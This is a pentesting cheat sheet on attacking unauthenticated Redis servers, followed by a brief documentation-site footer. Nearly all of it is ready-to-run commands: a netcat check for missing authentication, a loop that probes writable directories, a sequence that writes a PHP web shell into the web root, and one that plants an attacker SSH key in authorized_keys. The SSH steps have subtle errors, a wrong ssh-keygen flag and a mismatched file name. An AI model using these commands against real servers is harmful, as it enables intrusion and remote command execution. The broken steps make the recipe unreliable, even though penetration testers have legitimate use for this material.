# Redis

* <https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html>
* [2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf)
* <https://github.com/holys/redis-cli/releases>
* <https://github.com/antirez/redis>

Check for anonymous login:

```
$ nc 127.0.0.1 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.
```

Sensitive injection points for testing:

```
/var/www/html
/home/redis/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron

$ for dname in `cat dirs.txt`; do redis-cli -h 127.0.0.1 config set dir $dname | grep OK && echo $dname; done
```

## Web Shell

* <https://book.hacktricks.xyz/pentesting/6379-pentesting-redis>

```
$ redis-cli -h 127.0.0.1 flushall
$ redis-cli -h 127.0.0.1 set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h 127.0.0.1 config set dbfilename shell.php
$ redis-cli -h 127.0.0.1 config set dir /var/www/html
$ redis-cli -h 127.0.0.1 save
```

## SSH Public Key

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

```
$ ssh-keygen -t ecdsa -s 521 -f key
$ (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
$ redis-cli -h 127.0.0.1 flushall
$ cat foo.txt | redis-cli -h 127.0.0.1 -x set pwn
$ redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
$ redis-cli -h 127.0.0.1 config set dir /var/lib/redis/.ssh
$ redis-cli -h 127.0.0.1 save
```


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
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```

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The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.